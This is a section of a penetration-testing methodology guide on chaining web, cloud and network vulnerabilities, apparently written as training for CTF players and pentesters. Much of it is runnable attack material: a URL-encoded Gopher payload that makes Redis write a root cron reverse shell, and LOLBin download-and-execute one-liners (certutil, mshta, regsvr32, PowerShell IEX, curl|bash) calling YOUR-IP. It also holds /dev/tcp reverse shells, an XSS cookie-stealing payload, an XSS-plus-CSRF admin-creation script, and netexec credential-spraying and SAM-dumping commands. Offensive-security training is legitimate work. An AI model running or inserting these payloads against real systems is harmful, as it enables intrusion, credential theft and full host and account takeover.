Single vulnerabilities that hand you immediate RCE are the exception, not the rule. The boxes that feel impossible — the ones where every individual finding seems low severity, where nothing obvious works, where the path is not clear — those are almost always chain problems. Two or three vulnerabilities that individually do nothing, combined in the right order, hand you the keys. This section is about seeing those chains before anyone else does.
🔰 Beginners: This section assumes you have read the individual vulnerability sections first. Each chain references techniques covered in detail elsewhere in this guide. If a term is unfamiliar, follow the cross-links before continuing.
⚡ Seasoned practitioners: The APT tradecraft and real-world chain examples in the advanced section are worth reading. These go beyond standard CTF chains into techniques documented in incident response reports and threat intelligence.
Before you start — know these terms:
- Chain — a sequence of two or more vulnerabilities where each one enables or amplifies the next, producing an outcome that none could achieve alone.
- Pivot point — the finding in a chain where you gain a new capability that opens the next stage. Not all vulnerabilities in a chain are equal — the pivot point is the one that changes what is possible.
- Attack surface expansion — using a limited initial foothold to discover and reach parts of the target that were not previously visible or accessible.
- Privilege boundary — any point where moving forward requires higher permissions than you currently have. Chains frequently cross multiple privilege boundaries.
- Why Chaining Matters
- The Chaining Mindset
- Common Two-Vulnerability Chains
- Three-Stage Chains
- SSRF Chain Recipes
- File Upload Chain Recipes
- Authentication Bypass Chains
- Cloud Environment Chains
- APT-Level Chaining Techniques
- Building Your Own Chains
- Real Worked Examples
- CTF vs Real World
Plain English:
Think of a bank vault. The vault itself has a combination lock — that is one security control. The room containing the vault has a keycard door — that is a second control. The building has security guards — a third. Getting to the money requires bypassing all three in sequence. Bypassing only one gets you nowhere useful.
Real systems work the same way. Defense in depth means multiple security controls are layered on top of each other. An attacker who finds one weak point has found a crack — not an entry. Chaining is the discipline of finding enough cracks, in the right order, to work through all the layers.
Why understanding chains separates practitioners:
Finding a single vulnerability → anyone can do this with a scanner
Understanding what that vulnerability enables → requires knowledge
Seeing how it connects to the next step → requires experience
Building the complete chain → separates practitioners from tools
Automated scanners find individual vulnerabilities. They do not chain them. A scanner that finds an SSRF vulnerability and an internal Redis instance separately will not tell you that SSRF plus Redis equals RCE. That connection lives in the practitioner's mind.
Every finding should trigger the same question:
"What does this enable that I could not do before?"
Not "is this exploitable alone" — but "what door does this open?"
Found an SSRF?
→ What internal services can I now reach?
→ Is there a cloud metadata service?
→ Is there an internal admin panel?
→ Are there services that trust localhost automatically?
Found an LFI?
→ What credentials can I read?
→ Can I read log files I could poison?
→ Can I read SSH keys?
→ Can I read source code that reveals other vulnerabilities?
Found an XXE?
→ Can I read internal files?
→ Can I make the server do SSRF via XXE?
→ Can I read /etc/passwd to enumerate users?
Found low-privilege RCE?
→ What can I see from this position?
→ What services are running internally?
→ What credentials are stored locally?
→ What can I reach that the internet cannot?
What it requires:
- LFI vulnerability that can read log files
- A log file that includes user-controlled input
- Web server that processes included PHP files
The chain:
Step 1: LFI confirmed → can read /var/log/apache2/access.log
Step 2: Send request with PHP code in User-Agent header
→ PHP code written into access.log
Step 3: Use LFI to include access.log
→ PHP code executes
Step 4: RCE achieved → get reverse shell
Why the chain works: LFI alone only reads files. The ability to write PHP code into a log file creates content worth including. The combination produces something neither alone could — code execution through a read-only vulnerability.
What it requires:
- SSRF vulnerability
- Application hosted on AWS, GCP, or Azure
- IAM role with meaningful permissions
The chain:
Step 1: SSRF confirmed → server makes requests on your behalf
Step 2: Point SSRF at http://169.254.169.254/latest/meta-data/
→ Cloud metadata service responds (internal only — SSRF bypasses this)
Step 3: Retrieve IAM credentials from metadata service
Step 4: Use credentials with AWS CLI
→ Full access to cloud account resources
Why the chain works: SSRF alone gives you internal network access. The metadata service alone is unreachable from outside. Combined — you have credentials that may control an entire cloud infrastructure.
What it requires:
- Application parsing XML from user input
- XXE (XML External Entity) vulnerability
- Internal services not accessible from outside
The chain:
Step 1: Find XML input point — file upload, API, form
Step 2: Inject XXE payload
→ Confirm file read (read /etc/passwd)
Step 3: Use XXE for SSRF via external entity URL
→ Make server fetch internal URLs through XML parser
Step 4: Reach internal services not exposed to internet
→ Admin panels, databases, metadata services
XXE payload for SSRF:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>What it requires:
- Open redirect vulnerability on a trusted domain
- OAuth implementation that uses redirect_uri parameter
- Victim who can be phished or whose browser can be triggered
The chain:
Step 1: Find open redirect on trusted.com
→ trusted.com/redirect?url=ATTACKER_URL works
Step 2: Craft OAuth authorization URL with malicious redirect_uri
→ redirect_uri=https://trusted.com/redirect?url=https://attacker.com
Step 3: Victim clicks OAuth authorization link
→ Authorizes the application
→ Gets redirected through trusted.com to attacker.com
→ OAuth token included in the redirect URL
Step 4: Attacker captures the OAuth token
→ Full account access as the victim
What it requires:
- Subdomain pointing to an unclaimed external service
- Session cookies scoped to the parent domain
- Ability to serve content from the taken-over subdomain
The chain:
Step 1: Find a subdomain with a dangling DNS record
→ staging.target.com → points to unclaimed Heroku/GitHub Pages/S3
Step 2: Claim the external service
→ Register the Heroku app / GitHub Pages / S3 bucket
→ Now control staging.target.com
Step 3: Host malicious JavaScript on staging.target.com
→ JS reads document.cookie (cookies scoped to .target.com are accessible)
→ JS sends cookies to your collection server
Step 4: Phish a victim to visit staging.target.com
→ Their session cookies are stolen
→ Use cookies to log in as the victim
This is the classic multi-stage CTF chain and appears frequently in real engagements against web applications:
Stage 1 — RECON
→ nmap reveals web server on port 80 and SSH on port 22
→ Web enumeration finds a ?page= parameter
→ gobuster finds /backup/ directory
Stage 2 — LFI
→ ?page=../../../../etc/passwd confirms LFI
→ Read /var/www/html/config.php → database credentials found
→ Read /home/user/.ssh/id_rsa → SSH private key found
Stage 3 — INITIAL ACCESS
→ SSH in using the private key
→ Low-privilege shell as www-data or application user
Stage 4 — PRIVILEGE ESCALATION
→ Run linpeas or manual enumeration
→ Find sudo misconfiguration, SUID binary, or cron job
→ Escalate to root
This chain appears in real environments where Redis is running internally with no authentication:
Stage 1 — SSRF
→ Web application has URL import feature
→ SSRF confirmed via interactsh DNS callback
→ Port scan internal network: port 6379 (Redis) responds
Stage 2 — SSRF TO REDIS
→ Use Gopher protocol through SSRF to send Redis commands
→ Redis has no authentication — commands execute directly
Stage 3 — REDIS TO CRON
→ Use Redis CONFIG SET to change the DB save directory to /var/spool/cron/
→ Use Redis CONFIG SET to change the filename to root
→ Use Redis SET to write a malicious cron job
→ Save the database — cron job written to disk
Stage 4 — CRON TO ROOT SHELL
→ Cron executes the malicious job as root
→ Reverse shell received as root
# The Gopher payload for Redis (URL encoded)
# This sets a cron job that sends a reverse shell
GOPHER_PAYLOAD="gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0A%0A%2F1+%2A+%2A+%2A+%2A+bash+-i+>%26+%2Fdev%2Ftcp%2FYOUR-IP%2F4444+0>%261%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A%2Fvar%2Fspool%2Fcron%2F%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A"
curl "http://target.com/fetch?url=$GOPHER_PAYLOAD"Cloud environments have unique chain opportunities because of how services are connected and how permissions are managed.
Step 1: Initial access via any vulnerability
→ Low-privilege shell or credentials
Step 2: Enumerate IAM permissions
aws iam get-user
aws iam list-attached-user-policies --user-name USERNAME
aws iam list-user-policies --user-name USERNAME
Step 3: Find a privilege escalation path
→ Common paths:
iam:PassRole + ec2:RunInstances → run instance with admin role
iam:CreatePolicyVersion → create new admin policy version
lambda:CreateFunction + lambda:InvokeFunction → run arbitrary code
sts:AssumeRole → assume a more privileged role
Step 4: Execute privilege escalation
→ Each path above has a specific sequence of AWS CLI commands
→ End goal: AdministratorAccess on the account
Step 5: Full account takeover
→ Read all S3 buckets
→ Access all secrets in Secrets Manager
→ RCE on all EC2 instances via SSM
→ Exfiltrate databases via RDS snapshots
These are techniques documented in real threat actor activity — incident response reports, threat intelligence publications, and security research on nation-state actor TTPs. Understanding them is not just academic — defenders use this knowledge to detect and respond, and penetration testers use it to simulate realistic threats.
Plain English: Living off the land means using tools that are already installed on the target system — Microsoft-signed binaries, built-in OS utilities, trusted software — instead of uploading anything new. Every major APT group does this because it bypasses most antivirus and endpoint detection solutions. The tools they use are trusted by the OS itself.
Windows LOLBins commonly used in chains:
# certutil.exe — download files (Microsoft certificate utility)
certutil -urlcache -split -f http://YOUR-IP/payload.exe payload.exe
# bitsadmin.exe — download files (Background Intelligent Transfer)
bitsadmin /transfer job /download /priority high http://YOUR-IP/payload.exe C:\payload.exe
# mshta.exe — execute HTA files (Microsoft HTML Application)
mshta http://YOUR-IP/payload.hta
# regsvr32.exe — execute COM objects remotely (Squiblydoo)
regsvr32 /s /n /u /i:http://YOUR-IP/payload.sct scrobj.dll
# wmic.exe — execute remote scripts
wmic os get /format:"http://YOUR-IP/payload.xsl"
# powershell.exe — download and execute in memory (fileless)
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://YOUR-IP/shell.ps1')"
# rundll32.exe — execute DLLs
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";...Linux LOLBins:
# curl / wget — download and execute
curl http://YOUR-IP/shell.sh | bash
wget -O - http://YOUR-IP/shell.sh | bash
# python — download and execute in memory
python3 -c "import urllib.request,os;exec(urllib.request.urlopen('http://YOUR-IP/shell.py').read())"
# perl — often installed, often overlooked
perl -e 'use Socket;...' # reverse shell
# awk — commonly overlooked as execution vector
awk 'BEGIN {cmd = "bash -i >& /dev/tcp/YOUR-IP/4444 0>&1"; system(cmd)}'
# vim / vi — execute shell commands from within editor
vim -c ':!/bin/bash'
# find — SUID abuse for privilege escalation chain
find / -exec /bin/sh \;Plain English: A fileless attack never writes an executable file to disk. Everything runs in memory. This defeats file-based antivirus detection because there is no file to scan. The chain typically looks like:
Stage 1: Initial access via web vulnerability (LFI, RCE, SSRF)
→ Command execution without writing files
Stage 2: Download and execute payload in memory
→ PowerShell: IEX(New-Object Net.WebClient).DownloadString(URL)
→ Python: exec(urllib.request.urlopen(URL).read())
→ Bash: curl URL | bash
Stage 3: Establish persistence without files
→ WMI event subscriptions (Windows)
→ Registry run keys (Windows)
→ Cron jobs writing to /dev/shm (Linux — RAM filesystem)
→ LD_PRELOAD manipulation (Linux)
Stage 4: Lateral movement
→ Pass-the-hash (Windows — no password needed, just NTLM hash)
→ SSH key reuse (Linux — same key on multiple hosts)
→ Credential reuse (password found on one system works on others)
Plain English: Once inside a network, credentials found anywhere become ammunition everywhere. The chain:
Step 1: Initial access — any vulnerability
Step 2: Find credentials — config files, memory, registry, history
Step 3: Spray credentials across all discovered internal systems
→ Same password often works on multiple systems
→ Service accounts often reuse passwords
Step 4: Each new system gives access to more credentials
→ The chain feeds itself until you reach a domain controller
# Spray found credentials across a subnet with netexec
netexec smb 192.168.1.0/24 -u username -p password
# Or against a list of targets
netexec smb targets.txt -u username -p password --continue-on-success
# Check who has admin rights
netexec smb 192.168.1.0/24 -u username -p password --local-auth
# Dump credentials from systems where you have admin
netexec smb TARGET -u username -p password --samWhen facing a target with no obvious path, use this framework to identify potential chains:
Document every vulnerability and interesting behavior — even things that seem too low severity to matter alone:
Finding 1: SSRF in URL import feature (medium)
Finding 2: Redis running on localhost:6379 (info — from SSRF scan)
Finding 3: No Redis authentication (medium)
Finding 4: Web server runs as root (info — from error messages)
Chain: SSRF → Redis via Gopher → Write cron job as root → RCE as root
For each finding, answer:
→ What can I read that I could not before?
→ What can I write that I could not before?
→ What can I execute that I could not before?
→ What can I reach that I could not before?
→ What permissions do I now have that I did not have before?
Internet user → Web application user (www-data, nobody)
Web application user → Local system user
Local system user → Root / SYSTEM
Root on one host → Other hosts on internal network
Low-privilege cloud credentials → High-privilege cloud credentials
Each boundary crossing requires a different technique. Map the boundaries and find the technique that crosses each one.
Chain = technique to cross boundary 1 +
technique to cross boundary 2 +
technique to cross boundary 3
# Step 1 — identify SSRF
# URL parameter confirmed vulnerable to SSRF via interactsh
# Step 2 — internal port scan via SSRF
for port in 22 80 443 3306 5432 6379 8080 8443 9200 27017; do
echo -n "Port $port: "
curl -s "http://target.com/fetch?url=http://127.0.0.1:$port/" | head -1
done
# Port 6379 returns Redis banner — Redis found
# Step 3 — test Redis auth
curl -s "http://target.com/fetch?url=gopher://127.0.0.1:6379/_%2APING%0D%0A"
# Returns +PONG — no authentication
# Step 4 — write SSH key via Redis
# Generate SSH key pair
ssh-keygen -t rsa -f /tmp/exploit_key -N ""
PUBKEY=$(cat /tmp/exploit_key.pub)
# Write key to Redis and save to authorized_keys
curl -s "http://target.com/fetch?url=gopher://127.0.0.1:6379/..."
# (Full gopher payload to set dir, dbfilename, and save)
# Step 5 — SSH in
ssh -i /tmp/exploit_key root@target.com# Step 1 — find stored XSS
# Input field that reflects content to other users
# Payload: <script>fetch('http://YOUR-IP/'+document.cookie)</script>
# Step 2 — confirm admin views the content
# Watch your listener for incoming requests
nc -lvnp 80
# Admin cookie arrives: admin_session=abc123
# Step 3 — use admin cookie to access admin panel
curl -H "Cookie: admin_session=abc123" http://target.com/admin/
# Step 4 — find CSRF in admin panel
# Admin panel has a "create user" function with no CSRF token
# Step 5 — escalate via CSRF
# Craft a page that auto-submits a form creating a new admin user
# Host it and get admin to visit (or extend the XSS payload to do it)
# XSS payload that creates admin account via CSRF
<script>
fetch('http://target.com/admin/create_user', {
method: 'POST',
credentials: 'include',
body: 'username=attacker&password=hacked&role=admin'
});
</script>
# Now log in as attacker/hacked with admin rolePractice targets:
- HackTheBox — Bucket (SSRF chain)
- HackTheBox — Forge (SSRF with bypass chain)
- HackTheBox — Pikaboo (LFI chain)
- HackTheBox — Crossfit (XSS chain)
- PortSwigger Web Security Academy — Advanced topics labs
| CTF | Real Engagement | |
|---|---|---|
| Chain complexity | Usually 2-3 steps | Often 4-6 steps across multiple systems |
| Intended path | Usually one chain | May be multiple valid chains |
| Documentation | Track for writeup | Mandatory — every step with evidence |
| Noise | Not a concern | Each step generates logs |
| Timing | Speed matters | Stealth and reliability matter more |
| LOLBins | Rarely needed | Standard practice |
| Fileless | Almost never needed | Common in advanced engagements |
| Lateral movement | One box at a time | Entire network is the target |
| Cleanup | Not required | All artifacts must be removed |
| Resource | What It Covers |
|---|---|
| SSRF | SSRF as a chain component |
| LFI/RFI | LFI as a chain starting point |
| RCE | RCE as a chain outcome |
| Manual Exploitation | Executing chains manually |
| Shells | Stabilizing access after chain completion |
| Evasion | Keeping the chain undetected |
by SudoChef · Part of the SudoCode Pentesting Methodology Guide